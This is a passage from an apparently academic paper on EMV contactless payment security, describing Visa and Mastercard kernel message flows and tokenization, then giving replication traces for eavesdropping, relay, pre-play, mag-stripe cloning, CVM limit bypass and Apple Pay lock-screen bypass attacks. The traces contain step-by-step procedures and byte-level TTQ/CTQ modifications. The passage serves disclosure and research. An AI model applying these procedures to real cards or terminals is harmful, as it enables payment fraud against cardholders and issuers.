responds with a Select Acknowledge (SAK). In the active
state, the reader sends a RATS (Request for Answer To
Select) command, and the card replies with an Answer to
Select (ATS) response. These messages set up parameters
for ensuing communications, such as limits on frame size
for sending, receiving, or timing parameters.

7.4. EMV Contactless Payments Protocols

Apart from the transaction modes, cardholder verifi-
cation modes, and data authentication modes as discussed
in Section 2.4, EMV kernels offer other functionalities as
well. For instance, integrated and standalone data storage
options enable service providers, such as transit operators,
to store relevant data (e.g., bus tickets) on the card. Issuer
update processing allows issuers to manage risk param-
eters or modify card statuses through contactless issuer
authentication or script processing, such as blocking a
card. Furthermore, kernels are equipped with optimization
techniques that accelerate transactions by ceasing public
key certificate reading once essential data is retrieved.

7.4.1. EMV Kernel 3 (Visa). Kernel 3 operates in a single
EMV mode and follows the latest specification (V2.11)
[34], which replaces the previously supported mag-stripe
mode from version 2.6 [30]. It integrates several key
functionalities, including Integrated Data Storage (IDS),
Issuer Update Processing, and fDDA (fast Dynamic Data
Authentication).

(14) ExpDate, APP PAN, PANSeqNo, AUC, CVM List, IAC, ICC, Track2*, CDOL1, DSDOL*, 
CDA_Data*(CA PK Index, Issuer PK Cert&Exp, ICC PK Cert&Exp, SDA TagList)
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(2) FCI (AID,API*)
(3) Select AID 
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(4) FCI (PDOL,  ACI*, ...)

(6) AIP, AFL, DS-Related Data*

(7) Read Records
(8) Track1 Data*, Track2 Data, Instruction Dictionary Data
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* Optional

Figure 12. EMV Kernel 2 (Mastercard) Protocol

The transaction flow for Visa, utilizing Kernel 3, is
depicted in Fig. 11. In the first presentment, a new trans-
action occurs, with the option to include IDS. When a
cardholder presents a card, a list of mutually supported
combinations between the contactless card and the reader
is constructed. The kernel initiates a Select PPSE message
(1), prompting the card to respond with the File Control
Information (FCI) containing the Application Identifier
(AID) and optionally the Application Priority Indicator
(API), indicating the priority of the created list (2). Subse-
quently, the kernel selects the associated card application
(Select AID) with the highest priority (3). Following this,
the card sends the FCI containing the Processing Data
Object List (PDOL), a list of reader-related data objects
requested by the card to be transmitted in the next mes-
sage, along with the IDS Dictionary (IDSD) if IDS is
involved (4). These four-step messages are managed by
the EMV Entry Point protocol [32].

Next, the transaction flow is initiated by selecting
Visa’s kernel. The kernel issues a Get Processing Options
(GPO) command to the card, including PDOL Data (5).
This data encompasses Terminal Transaction Qualifiers
(TTQ), AmountAuth, AmountOther, country code, Ter-
minal Verification Results (TVR), currency, Unpredictable
Number (UN), transaction date, and more. TTQ commu-
nicates reader capabilities and preferences, while TVR
reflects the status of various functions from the reader’s
perspective [34]. In response, the card provides data ele-
ments such as Application Cryptogram (AC), Application
Interchange Profile (AIP), Cryptogram Information Data
(CID), Application Transaction Counter (ATC), Issuer Ap-
plication Data (IAD), Card Transaction Qualifiers (CTQ),
and Track2 Equivalent Data (6). AC is the card’s cryp-
togram, AIP indicates card capabilities, CID denotes the
cryptogram type, ATC counts initiated transactions, IAD
holds proprietary data for online transmission, and CTQ
specifies card CVM requirements. For fDDA transactions,
the card includes the Application File Locator (AFL)



pointing to additional data records and the SDAD for
fDDA support. If fDDA is used, AFL and SDAD are sent
in the message (6), followed by additional command/re-
sponse messages (7,8). The reader reads records in the
AFL (7) and validates the dynamic signature (8). The
key difference between DDA and fDDA is that the fDDA
dynamic signature is generated during the GPO command
rather than at the end of the transaction, when the card
may be moving away from the reader field [34]. For
IDS, the IDSD analysis in the message (4) determines
whether IDS records need updating. IDS Operator propri-
etary decisions trigger the kernel to use the EXTENDED
GPO (EGPO) command with PDOL Data and IDS Record
Update Template (9). The card responds in the same
structure as GPO but is updated per the EGPO command
(10).

During the second presentment, only issuer update
processing occurs. If both the reader and the card sup-
port it, the cardholder may be instructed to present their
card for a second time, which allows the Entry Point to
reactivate the kernel. In this optional sequence, the kernel
sends a Select AID command to the card (11), and the
card responds with the FCI, including the PDOL (12).
Subsequently, the reader sends an External Authenticate
command to the card containing Issuer Authentication
Data (13), to which the card responds with an Issuer Script
Template (14). Using this template, the kernel forwards
the Issuer-to-Card Script command to the card (15), and
the card responds, indicating the success or failure of the
Issuer Update Processing (16), indicating if any updates
have been applied to the card.

7.4.2. EMV Kernel 2 (Mastercard). Kernel 2 is utilized
by Mastercard. Fig. 12 illustrates the transaction flow for
the Mastercard protocol based on the latest specification
(V2.11) [33]. In contrast to Kernel 3, which exclusively
supports EMV mode transactions, Kernel 2 caters to two
transaction modes: mag-stripe mode and EMV mode.
Additionally, it encompasses various functionalities, in-
cluding data storage, and optimization for transactions
without CDA. The transaction flow for Kernel 2 com-
mences with the Entry Point protocol (messages 1-4), akin
to the Kernel 3 protocol detailed in Section 2.4.3. Simi-
larly, it indicates the inclusion of Application Capabilities
Information (ACI) in the message (4) to signal SDS/IDS
support for the data storage functionality. The subsequent
step involves the reader sending a GPO command to the
card with PDOL Data (5), eliciting a response contain-
ing AIP, AFL, and, optionally, data storage-related data.
AIP defines the transaction mode and card capabilities,
influencing whether the transaction proceeds in mag-stripe
mode or EMV mode.

In the mag-stripe mode, reliant on magnetic stripe
data including Track 1 and/or Track 2 data, the kernel
reads data records from the card (7), obtaining Track 1
and Track 2 Data, and instructions for discretionary data
(8), following this, a Compute Cryptographic Checksum
(CCC) command is sent to the card (9), requesting a Card
Verification Codes (CVC3) cryptogram. The card responds
with CVC3, ATC, and PoS Cardholder Interaction Infor-
mation (PCII) (10).

In EMV mode, which relies on data retrieved from
the EMV chip, if RRP is supported by both the card

and reader, it is executed first (messages 11, 12). Here,
the card responds with random numbers, relay resistance
entropy, and timing estimates. In subsequent steps (13,
14), the kernel performs necessary tasks for an EMV
mode transaction, including checking the Data Set Defini-
tion Object List (DSDOL) and IDS flag, determining the
ODA method, and reading card data records such as the
expiry date, the Application PAN, CVM List, etc. If the
transaction is in CDA mode, the Certification Authority
Public Key Index (CA PK Index), Issuer PK Certification
and other fields are also read. Then the kernel requests
an AC from the card via a GENERATE AC command
with a Reference Control Parameter (15), accompanied
by either CDOL1 Related Data or DSDOL. The CDOL1
Data contains fields like AmountAuthorized, Terminal
Type, Terminal Verification Results (TVR), Currency, ICC
Dynamic Number, and others. The card’s response may be
Application Authentication Cryptogram (AAC) (transac-
tion declined), Application Request Cryptogram (ARQC)
(online authorization request), or Transaction Certificate
(TC) (transaction approved), with the data field varying
based on CDA usage. If CDA is not performed, the
data object returned in the response message consists of
Cryptogram Information Data (CID), ATC, AC, and op-
tionally Issuer Application Data (IAD) and PCII. If CDA
is performed, the data object includes CID, ATC, Signed
Dynamic Application Data (SDAD), and optionally IAD
and PCII. Finally, the kernel executes ODA as deemed
appropriate.

7.5. EMV Tokenization

The tokenization process is an important part of a
contactless transaction and involves four key components
as illustrated in Fig. 13. A) “Token Issuance” starts with
the cardholder initiating tokenization by providing the
Primary Account Number (PAN) and relevant data to an
authorized entity, the token requestor (A.1). Subsequently,
the authorized entity requests the token from the Token
Service Provider (TSP) (A.2). The TSP, managing these
services on behalf of the issuer for a secure process, may
optionally involve the issuer as well (A.3). B) “Token
Provisioning” has the TSP providing services to the au-
thorized entity on behalf of the issuer, transmitting the
payment token and related data customized for various
use cases (B.1). This information is then delivered to the
cardholder (B.2). C) “Token Presentment” involves the
cardholder presenting the tokenized data to the merchant
during a transaction (C.1). Here, the cardholder may select
a payment credential from the authorized entity as well
(C.2). D) “Token Processing” is the back-end process
involving the token and related data undergoing process-
ing for authorization messages (D.1). An example of the
backend authorization process via tokenization is depicted
in flow E in Fig. 7.5. After processing the token and
authorization request by the acquirer (D.1), the acquirer
forwards the token to the payment network (E.1). Sub-
sequently, the payment network transmits it to the TSP
(E.2). The Token Vault within the TSP detokenizes the
token, retrieves the PAN, and forwards the authorization
request to the issuer (E.3). The issuer makes an autho-
rization decision and communicates the response back to
the payment network (E.4, E.5). The Payment Network
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Figure 13. EMV Tokenization: A) Token Issuance, B) Token Provisioning, C) Token Presentment, D) Token Processing, E) Example of Authorization.
(* denotes optional)

then sends the token and the authorization response back
to the acquirer (E.6). The acquirer routes the response
to the merchant (E.7), facilitating the completion of the
transaction with the user.

7.6. Replication Traces

In this section, we select one attack from each category
as a representative example and provide details on the
steps required to implement the attack, the constraints it
may have, and a successful replication trace as proof of
replication.

7.6.1. Eavesdropping. As shown below, by using off-
the-shelf NFC reader applications such as Credit Card
Reader NFC (EMV) [68], we can capture the card data,
specifically Track 2 Equivalent Data that contains Primary
Account Number and Expiration Date (in red). Listing 1
is an example trace of the leaked data.

Listing 1. Replication Trace for Eavesdropping Attack
nfc.tag.id: 61292288
nfc.tag.tech: IsoDep, NFCA
card.aid: A0000000031010
card.pan: 4659xxxx6011 //Leaked Card.PAN
card.label: Visa Debit
card.tags.cm: FFI-Signature FFI-CVV2 FFI-Holog

* Send SELECT (PPSE) Command
+ Candidate AID: A0000xxxx1010 (Visa Debit)

* Send SELECT (A0000xxxx1010) Command

* Kernel 3 supported.

* Send GPO Command
EP Outcome: Card Read Complete
EP Message: 17 // Card read OK. Remove card
EP Status: Card Read Successfully

cvn: 12 // Cryptogram Version Number (CVN) // 18
x57:"4659xxxxxxxx6011D26099201xxxxxxxxx001F" // Leaked

PAN and ExpiaryDate (09/26)
X5F2D: 656E // Language Preference // en
x5F34: 00 // Application PAN Sequence Number
x82: 2020 // Application Interchange Profile (AIP)
x84: A0000xxxx1010 // Dedicated File (DF) Name
x87: 02 // Application Priority Indicator
X9F0A: 0001xxxxxxxx0000 // Application Selection

Registered Proprietary Data (ASRPD)
X9F10: 060C1203A00000 // Issuer Application Data

X9F27: 80 // Cryptogram Information Data (CID)
X9F36: 000E // Application Transaction Counter (ATC) //

14
X9F38: 9F66049F02069F03069Fxxx3704 // PDOL
C3: // EMV Contactless C-3, Visa PayWave tags
X9F6C: 1000 // Card Transaction Qualifiers (CTQ)
X9F6E: 20700000 // Form Factor Indicator (FFI)

7.6.2. Relay. To relay a contactless transaction, a terminal
emulator must be positioned near the payment device,
while a card emulator must be placed near the terminal.
The payment device and the terminal are distant. In our
setup, we used two NFC-enabled Android phones, with
a laptop acting as an intermediary. The laptop runs a
script that utilizes a socket to relay messages between the
two devices. Listing 2 is a successful trace of a relayed
transaction using a Visa card.

Listing 2. Replication Trace for Relay Attack

Received response from card emulator:
00A404000E325041592E5359532E444446303100
SELECT 2PAY.SYS.DDF01

Sending 00A404000E325041592E5359532E444446303100
Received command from terminal emulator:
6F2B840E325041592E5359532E4444463031A519BF0C1661144F0
7A00000000310109F0A0800010501000000009000

Status code: 9000 Command successfully executed (OK).
6F | len:2B File Control Information (FCI)

Template
84 | len:14 DF Name: 325041592

E5359532E4444463031
A5 | len:19 Proprietary Information
BF0C | len:16 File Control Information (FCI)

Issuer Discretionary Data
61 | len:14 Directory Entry

4F | len:7 Application Identifier
(AID): A0000000031010

9F0A | len:8 Application Selection
Registered Proprietary Data list:
0001050100000000

Sending
6F2B840E325041592E5359532E4444463031A519BF0C1661144F
07A00000000310109F0A0800010501000000009000

Received response from card emulator:
00A4040007A000000003101000



SELECT A0000000031010

Sending 00A4040007A000000003101000

Received command from terminal emulator:
6F578407A0000000031010A54C500A5649534120444542495487
01029F38189F66049F02069F03069F1A0295055F2A029A039C01
9F37045F2D02656EBF0C1A9F5A0531082608269F0A0800010501
00000000BF6304DF2001809000
Status code: 9000 Command successfully executed (OK).

6F | len:57 File Control Information (FCI)
Template
84 | len:7 DF Name: A0000000031010
A5 | len:4C Proprietary Information

50 | len:10 Application Label:
56495341204445424954

87 | len:1 Application Priority Indicator:
02

9F38 | len:18 Processing Options Data Object
List (PDOL)

9F66 | len:04 Terminal Transaction
Qualifier (TTQ)

9F02 | len:06 Amount, Authorised (Numeric
)

9F03 | len:06 Amount, Other (Numeric)
9F1A | len:02 Terminal Country Code

95 | len:05 Terminal Verification
Results

5F2A | len:02 Transaction Currency Code
9A | len:03 Transaction Date
9C | len:01 Transaction Type

9F37 | len:04 Unpredictable Number
5F2D | len:2 Language Preference: 656E
BF0C | len:1A File Control Information (FCI)

Issuer Discretionary Data
9F5A | len:5 Application Program

Identifier: 3108260826
9F0A | len:8 Application Selection

Registered Proprietary Data list:
0001050100000000

BF63 | len:4 Unknown Payment System Tag:
DF200180

Sending
6F578407A0000000031010A54C500A5649534120444542495487
01029F38189F66049F02069F03069F1A0295055F2A029A039C01
9F37045F2D02656EBF0C1A9F5A0531082608269F0A0800010501
00000000BF6304DF2001809000

Received response from card emulator:
80A8000023832136A04000000000000100000000000000082600
0000000008262203070048D1F8B100
GPO command:
9F66 | len 4 Terminal Transaction Qualifier (TTQ):

36A04000
EMV Mode supported (Byte 1 Bit 6)
EMV contact chip supported (Byte 1 Bit 5)
Online PIN supported (Byte 1 Bit 3)
Signature supported (Byte 1 Bit 2)
Online cryptogram required (Byte 2 Bit 8)
Contact chip offline pin supported (Byte 2 Bit 6)
Mobile device functionality supported (Byte 3 Bit

7)
9F02 | len 6 Amount, Authorised (Numeric)

:000000000100
9F03 | len 6 Amount, Other (Numeric) :000000000000
9F1A | len 2 Terminal Country Code: 0826
95 | len 5 Terminal Verification Results:

0000000000
5F2A | len 2 Transaction Currency Code: 0826
9A | len 3 Transaction Date: 220307
9C | len 1 Transaction Type: 00

9F37 | len 4 Unpredictable Number: 48D1F8B1

Sending
80A8000023832136A04000000000000100000000000000082600
0000000008262203070048D1F8B100

Received command from terminal emulator:
7747820220005713XXXXXXXXXXXXXXXXD2211201850000000000
0F5F3401019F100706020A03A000009F260874D9D8E31871798F
9F2701809F360201169F6C0216009F6E04207000009000
Status code: 9000 Command successfully executed (OK).

77 | len:47 Response Message Template Format 2
82 | len:2 Application Interchange Profile:

2000
DDA supported (Byte 1 Bit 6)

57 | len:19 Track 2 Equivalent Data:
XXXXXXXXXXXXXXXXD22112018500000000000F

5F34 | len:1 Application Primary Account Number
(PAN) Sequence Number: 01

9F10 | len:7 Issuer Application Data (IAD):
06020A03A00000

9F26 | len:8 Application Cryptogram: 74
D9D8E31871798F

9F27 | len:1 Cryptogram Information Data: 80
9F36 | len:2 Application Transaction Counter:

0116
9F6C | len:2 Card Transaction Qualifiers (CTQ):

1600
Switch interface if offline data

auth fails and reader suports
VIS (Byte 1 Bit 5)

Switch interface for cash (Byte 1
Bit 3)

Switch interface for cashback (Byte
1 Bit 2)

9F6E | len:4 Form Factor Indicator (qVSDC):
20700000

Sending
7747820220005713XXXXXXXXXXXXXXXXD2211201850000000000
0F5F3401019F100706020A03A000009F260874D9D8E31871798F
9F2701809F360201169F6C0216009F6E04207000009000

7.6.3. Pre-Play. For this category, we replicated the attack
on sending predictable UN via compromised terminals, as
described in [43]. This attack requires access to a card
and a terminal that allows interception and modification
of EMV fields, specifically ATC, UN, and Cryptogram.
The attack follows these steps: first, record the ATC, UN,
and ARQC from an approved transaction; then, replay
the recorded ATC, UN, and ARQC in the authorization
request for a different transaction, using a mock card
that emulates the correct Track2 equivalent/PAN before
encryption. A compromised terminal is essential for this
attack. A common vulnerable setup involves an mPOS
connected to a mobile phone, where the mobile app
partially handles security mechanisms, such as preventing
rooting/jailbreaking and ensuring data encryption. If these
protections are absent, intercepting and modifying EMV
fields becomes straightforward. The EMV specifications
do not mandate encryption of fields other than PAN/-
Track2 and PIN. Consequently, fields like UN, ARQC,
and ATC are transmitted in plaintext, relying solely on
SSL/TLS for protection. However, in first-party fraud
scenarios, SSL/TLS can be easily bypassed. Listing 3 is
a successful trace using a Visa card.

Listing 3. Replication Trace for Pre-play Attack

[4F (ADF - Application dedicated file name)]
A0000000041010

[50 (application label)] Mastercard
[5F24 (card expiry)] 290630
[5F25 (application effective date)] 241103
[5F2A (terminal currency code)] GBP (Pound Sterling)
[5F2D (language preference)] en
[5F34 (PAN sequence number)] 01
[82 (AIP - Application Interchange Profile)] 1980
[1000 (Byte 1 Bit 5)] Cardholder verification is

supported
[0800 (Byte 1 Bit 4)] Terminal risk management is to

be performed
[0100 (Byte 1 Bit 1)] CDA supported
[0080 (Byte 2 Bit 8)] EMV and Magstripe Modes

Supported
[84 (dedicated file name)] A0000000041010
[8E (CVM List - Cardholder Verification Method List)]

00000000000000001E031F034203
[1E03] Signature, If terminal supports CVM, FAIL
[1F03] No CVM required, If terminal supports CVM,

FAIL



[4203] Encrypted PIN online, If terminal supports CVM
, next

[95 (TVR - Terminal Verification Results)] 0000008001
[0000008000 (Byte 4 Bit 8)] Transaction exceeds floor

limit
[9A (transaction date)] 241201
[9B (TSI - Transaction Status Indicator)] E000

[8000 (Byte 1 Bit 8)] Offline data authentication was
performed

[4000 (Byte 1 Bit 7)] Cardholder verification was
performed

[2000 (Byte 1 Bit 6)] Card risk management was
performed

[9C (transaction type)] 00
[9F02 (amount authorized)] 000000000100
[9F03 (amount other)] 000000000000
[9F06 (application id)] A0000000041010
[9F07 (application usage control)] FF00

[8000 (Byte 1 Bit 8)] Valid for domestic cash
transactions

[4000 (Byte 1 Bit 7)] Valid for international cash
transactions

[2000 (Byte 1 Bit 6)] Valid for domestic goods
[1000 (Byte 1 Bit 5)] Valid for international goods
[0800 (Byte 1 Bit 4)] Valid for domestic services
[0400 (Byte 1 Bit 3)] Valid for international

services
[0200 (Byte 1 Bit 2)] Valid at ATMs
[0100 (Byte 1 Bit 1)] Valid at terminals other than

ATMs
[9F09 (terminal application version number)] 0002
[9F0D (IAC default)] B450840000

[8000000000 (Byte 1 Bit 8)] Offline data
authentication was not performed

[2000000000 (Byte 1 Bit 6)] ICC data missing
[1000000000 (Byte 1 Bit 5)] Card appears on terminal

exception file
[0400000000 (Byte 1 Bit 3)] CDA failed
[0040000000 (Byte 2 Bit 7)] Expired application
[0010000000 (Byte 2 Bit 5)] Requested service not

allowed for card product
[0000800000 (Byte 3 Bit 8)] Cardholder verification

was not successful
[0000040000 (Byte 3 Bit 3)] Online PIN entered

[9F0E (IAC denial)] 0000000000
[9F0F (IAC online)] B470848000

[8000000000 (Byte 1 Bit 8)] Offline data
authentication was not performed

[2000000000 (Byte 1 Bit 6)] ICC data missing
[1000000000 (Byte 1 Bit 5)] Card appears on terminal

exception file
[0400000000 (Byte 1 Bit 3)] CDA failed
[0040000000 (Byte 2 Bit 7)] Expired application
[0020000000 (Byte 2 Bit 6)] Application not yet

effective
[0010000000 (Byte 2 Bit 5)] Requested service not

allowed for card product
[0000800000 (Byte 3 Bit 8)] Cardholder verification

was not successful
[0000040000 (Byte 3 Bit 3)] Online PIN entered
[0000008000 (Byte 4 Bit 8)] Transaction exceeds floor

limit
[9F10 (issuer application data)] 0

A10A04001240000000000000000000000FF
[Key Derivation index] 0A
[Cryptogram version number] 10
[Card verification results] A04001240000

[Byte 1 Bit 8 = 1, Byte 1 Bit 7 = 0] Second
Generate AC not requested

[Byte 1 Bit 6 = 1, Byte 1 Bit 5 = 0] ARQC Returned
in First Generate AC

[Byte 2 Bit 7 = 1] Combined DDA/AC Generation
Returned In First Generate AC

[Byte 3 Bits 8-5] Right nibble of Script Counter =
0

[Byte 3 Bits 4-1] Right nibble of PIN Try Counter =
1

[Byte 4 Bit 6 = 1] Offline PIN Verification Not
Performed

[Byte 4 Bit 3 = 1] International Transaction
[DAC/ICC Dynamic Number 2 Bytes] 0000
[Plaintext/Encrypted Counters] 00000000000000FF

[9F16 (merchant id)] 123456789012345
[9F1A (terminal country code)] GBR (United Kingdom)
[9F1C (terminal id)] 00000001
[9F1E (terminal serial number)] 12345678
[9F21 (transaction time)] 142247

[9F26 (application cryptogram)] 1FEAAA00EA03A9A7

[9F27 (cryptogram information data)] ARQC (
Authorisation Request Cryptogram - Go ask the
issuer)

[9F33 (terminal capabilities)] 200808
[200000 (Byte 1 Bit 6)] IC with contacts
[000800 (Byte 2 Bit 4)] No CVM Required
[000008 (Byte 3 Bit 4)] CDA

[9F34 (CVM Results - Cardholder Verification Results)]
1F0302

[1F] No CVM required
[03] If terminal supports CVM
[02] Sucessful

[9F35 (terminal type)] 21
[9F36 (ATC - application transaction counter)] 1
[9F37 (unpredictable number)] AAAAAAAA\\predictable UN!

[9F39 (pos entry mode)] 07
[9F40 (additional terminal capabilities)] 7000A0A001
[9F41 (transaction sequence counter)] 00000101
[9F4C (ICC dynamic number)] 5D1BF150C93ECBCC
[9F4E (Merchant name)] xxxxxxx
[9F63 ] 00000000038E
[9F66 ] 038E
[9F6D ] 0001
[9F6E ] 08400000303000
[DF17 ] 20
[DF826E ] 575043333233313236303139323330
[DF834F ] 575043333233313236303139323330
[DF872F ] 656E
[DF857E ] 00

7.6.4. Counterfeit Card Replica. The attack discussed
here involves reading data from both mag-stripe and EMV
modes and substituting it, as described in [41]. This
requires an MSR206 device to read and write mag-stripe
cards, while the NFC Track2 equivalent can be extracted
using an Android app. The attack follows three steps: first,
read the Track2 equivalent data from an NFC transaction;
next, convert and write this data onto a mag-stripe card,
ensuring the correct format for delimiters and terminators;
finally, execute a mag-stripe transaction using the rewritten
card. Listing 4 is the transaction trace that serves as
proof of the attack. This trace shows how data extracted
from an EMV transaction was successfully used to create
a cloned mag-stripe card. Specifically, the attacker read
the Track 2 equivalent data from an EMV transaction
and replaced the original mag-stripe CVV with the one
from the EMV transaction. This modified data was then
written onto a mag-stripe card via MSR206 and used for
a transaction. The trace confirms that the transaction was
approved, proving that the issuer did not verify whether
the CVV was appropriate for a mag-stripe transaction.
For this attack to be successful, mag-stripe transactions
must be allowed. However, in the EU and UK, they are
prohibited due to PSD2/3 regulations.

Listing 4. Attack Trace for Counterfeit Card Replica Attack
70 - READ RECORD Response Message Template
70.9F08 Application Version Number (2) H: 00.02 A: -- D

: 0.2
70.57 Track 2 Equivalent Data (18) H: 51.xxxxxxxxxxxx.

D2.50.82.01.21.09.20.23.90.1F
70.5F30 Service Code (2) H: 02.01 A: -- D: 2.1
70.5F20 Cardholder Name (13) H: 52.45.xxxxxxx.53.41.20

A: D:
70.9F44 Application Currency Exponent (1) H: 02 A: -

Transaction Type: mag-stripe
Original Value: 51******7612=250820121092036901
Modified Value: 51******7612=250820121092023901 (taken

from EMV)
Result: Successful



7.6.5. Limit Bypass. We present the attack Modifying
CDCVM and CVM to Bypass CVM [43], which involves
altering key transaction parameters to bypass cardholder
verification. The attack follows three steps: first, initiate
a payment above the contactless limit; second, modify
the Terminal Transaction Qualifiers (TTQ) to alter the
CVM requirements during the transaction; and third, mod-
ify the Card Transaction Qualifiers (CTQ) to manipulate
CDCVM validation. Despite the fact that TTQ and CTQ
manipulation remains possible and undetectable by both
the terminal and the issuer, it has become significantly
more challenging in the EU and UK due to the PSD2/3
Cumulative Limits, which restrict contactless transactions
exceeding a set threshold (e.g., £225 in the UK). However,
in regions like the US, where these cumulative limits are
not enforced, such attacks remain highly viable. Listing 5
is a successful trace of a transaction with TTQ and CTQ
modifications.

Listing 5. Replication Trace for Limit Bypass Attack
00a404000e325041592e5359532e444446303100
SELECT 2PAY.SYS.DDF01

Request:
6f3e840e325041592e5359532e4444463031a52cbf0c2961274f07
a0000000031010500a566973612044656269749f0a080001050100
000000bf6304df2001809000

6F File Control Information (FCI) Template
84 Dedicated File (DF) Name

325041592E5359532E4444463031 (2PAY.SYS.DDF01)
A5 File Control Information (FCI) Proprietary

Template
BF0C File Control Information (FCI) Issuer

Discretionary Data
61 Application Template

4F Application Identifier (ADF Name)
A0000000031010

50 Application Label
56697361204465626974 (Visa Debit)

9F0A Application Selection Registered
Proprietary Data

0001050100000000
BF63 Unknown

DF200180
DF20 Unknown

80
Response:
00a4040007a000000003101000
SELECT A0000000031010

Request:
6f5e8407a0000000031010a553500a566973612044656269749f38
189f66049f02069f03069f1a0295055f2a029a039c019f37045f2d
02656e9f1101019f120a56697361204465626974bf0c139f5a0531
082608269f0a0800010501000000009000
6F File Control Information (FCI) Template

84 Dedicated File (DF) Name
A0000000031010

A5 File Control Information (FCI) Proprietary
Template

50 Application Label
56697361204465626974 (Visa Debit)

9F38 Processing Options Data Object List (PDOL)
5F2D Language Preference

656E (en)
9F11 Issuer Code Table Index

01
9F12 Application Preferred Name

56697361204465626974 (Visa Debit)
BF0C File Control Information (FCI) Issuer

Discretionary Data
9F5A Application Program Identifier (Program

ID)
3108260826

9F0A Application Selection Registered
Proprietary Data

0001050100000000

Response:

80a8000023832132e0400000000001100000000000000008260000
0000000826240827000001a3c600

Request:
6984

Response:
Change TTQ Value:
From
80a8000023832132e0400000000001100000000000000008260000
0000000826240827007e7a9bfb00

TTQ:
[20000000(Byte1Bit6)]qVSDC supported
[10000000(Byte1Bit5)]EMV contact chip supported
[02000000(Byte1Bit2)]Signature supported
[00800000(Byte2Bit8)]Online cryptogram required
[00400000(Byte2Bit7)]CVM required
[00200000(Byte2Bit6)]Contact chip offlinepin supported
[00004000(Byte3Bit7)]Mobile device functionality

supported

To
80a8000023832132a0400000000001100000000000000008260000
0000000826240827007e7a9bfb00
TTQ:
[20000000(Byte1Bit6)]qVSDC supported
[10000000(Byte1Bit5)]EMV contactchip supported
[02000000(Byte1Bit2)]Signature supported
[00800000(Byte2Bit8)]Online cryptogram required
[00200000(Byte2Bit6)]Contact chip offline pin supported
[00004000(Byte3Bit7)]Mobile device functionality

supported

Change CTQ value:
From
774782022000571347***d27012010000066300000f5f3401009f1
00706011203a020009f26085bf83d225d994ba19f2701809f36020
00d9f6c023e009f6e04207000009000

CTQ:
[2000(Byte1Bit6)]Go online if offline data auth fails

and reader is online capable
[1000(Byte1Bit5)] Switch interface if offline data auth

fails and reader suports VIS
[0800(Byte1Bit4)]Go online if application expired
[0400(Byte1Bit3)]Switch interface for cash
[0200(Byte1Bit2)]Switch interface for cashback
To
774782022000571347***d27012010000066300000f5f3401009f1
00706011203a020009f26085bf83d225d994ba19f2701809f36020
00d9f6c023e809f6e04207000009000

CTQ:
[2000(Byte1Bit6)] Go online if offline data auth fails

and reader is online capable
[1000(Byte1Bit5)] Switch interface if offline data auth

fails and reader suports VIS
[0800(Byte1Bit4)] Go online if application expired
[0400(Byte1Bit3)] Switch interface for cash
[0200(Byte1Bit2)] Switch interface for cashback
[0080(Byte2Bit8)] Consumer device CVM performed

00a404000e325041592e5359532e444446303100

Request:
6f3e840e325041592e5359532e4444463031a52cbf0c2961274f07
a0000000031010500a566973612044656269749f0a080001050100
000000bf6304df2001809000
6F File Control Information (FCI) Template

84 Dedicated File (DF) Name
325041592E5359532E4444463031 (2PAY.SYS.DDF01)

A5 File Control Information (FCI) Proprietary
Template

BF0C File Control Information (FCI) Issuer
Discretionary Data

61 Application Template
4F Application Identifier (ADF Name)

A0000000031010
50 Application Label

56697361204465626974 (Visa Debit)
9F0A Application Selection Registered

Proprietary Data
0001050100000000

BF63 Unknown
DF200180
DF20 Unknown



80
Response:
00a4040007a000000003101000

Request:
6f5e8407a0000000031010a553500a566973612044656269749f38
189f66049f02069f03069f1a0295055f2a029a039c019f37045f2d
02656e9f1101019f120a56697361204465626974bf0c139f5a0531
082608269f0a0800010501000000009000
6F File Control Information (FCI) Template

84 Dedicated File (DF) Name
A0000000031010

A5 File Control Information (FCI) Proprietary
Template

50 Application Label
56697361204465626974 (Visa Debit)

9F38 Processing Options Data Object List (PDOL)
5F2D Language Preference

656E (en)
9F11 Issuer Code Table Index

01
9F12 Application Preferred Name

56697361204465626974 (Visa Debit)
BF0C File Control Information (FCI) Issuer

Discretionary Data
9F5A0531082608269F0A080001050100000000
9F5A Application Program Identifier (Program

ID)
3108260826

9F0A Application Selection Registered
Proprietary Data

0001050100000000
Response:
80a8000023832132e0400000000001100000000000000008260000
0000000826240827007e7a9bfb00

Request:
774782022000571347xxxxxxxxxxxxxxxxxxxxd270120100000663
00000f5f3401009f100706011203a020009f26085bf83d225d994b
a19f2701809f3602000d9f6c023e009f6e04207000009000

7.6.6. Lockscreen Bypass. We replicate the AppkePay-
Visa lock-screen bypass attack [73], [90] here. For this
attack, we use a similar setup as the regular relay attack.
We use an iPhone as the victim device that has a Visa card
on its digital wallet. Apple Pay card should support Transit
mode. After setting up the replication setup, in addition
to running a relay attack, we modify a few messages
in between as well. First, we send the “magic string”
to the victim’s device to simulate communication with
a transit terminal. This string is sent by Transport For
London (TFL) terminals to specify a special mode of
operation called Express Transit mode which does not
require cardholder verification for speed and convenience.
Our data collected from TFL aligns with values reported
in previous research [73], [90], suggesting static bytes
during this period. Then, during the transaction process,
we set the “Offline Data Authentication (ODA) for Online
Authorizations supported” bit in the Terminal Transaction
Qualifiers (TTQ). The successful transaction trace for this
attack can be found in Listing 6.

Listing 6. Replication Trace for Lock-screen Bypass Attack
Sending the Magic String:
6a02XXXXXXXXXXXXXXXXXXXX00c2d8 //Transport for London

(TFL) Data
R > C: 00A404000E325041592E5359532E444446303100
SELECT 2PAY.SYS.DDF01
026F2A840E325041592E5359532E4444463031A518BF
0C1561134F07A00000000310108701019F0A04000101
019000
Status code: 9000 Command successfully executed (OK).

6F | len:2A File Control Information (FCI)
Template
84 | len:14 DF Name: 325041592

E5359532E4444463031
A5 | len:18 Proprietary Information

BF0C | len:15 File Control Information (FCI)
Issuer Discretionary Data

61 | len:13 Directory Entry
4F | len:7 Application Identifier

(AID): A0000000031010
87 | len:1 Application Priority

Indicator: 01
9F0A | len:4 Application Selection

Registered Proprietary Data list:
00010101

R > C: 00A4040007A000000003101000
SELECT A0000000031010
036F428407A0000000031010A5379F381B9F66049F02069F03069F
1A0295055F2A029A039C019F37049F4E14BF0C169F5A0531082608
26BF6304DF2001809F0A04000101019000
Status code: 9000 Command successfully executed (OK).
6F | len:42 File Control Information (FCI)

Template
84 | len:7 DF Name: A0000000031010
A5 | len:37 Proprietary Information
9F38 | len:1B Processing Options Data Object

List (PDOL)
9F66 | len:04 Terminal Transaction

Qualifier (TTQ)
9F02 | len:06 Amount, Authorised (Numeric

)
9F03 | len:06 Amount, Other (Numeric)
9F1A | len:02 Terminal Country Code
95 | len:05 Terminal Verification

Results
5F2A | len:02 Transaction Currency Code
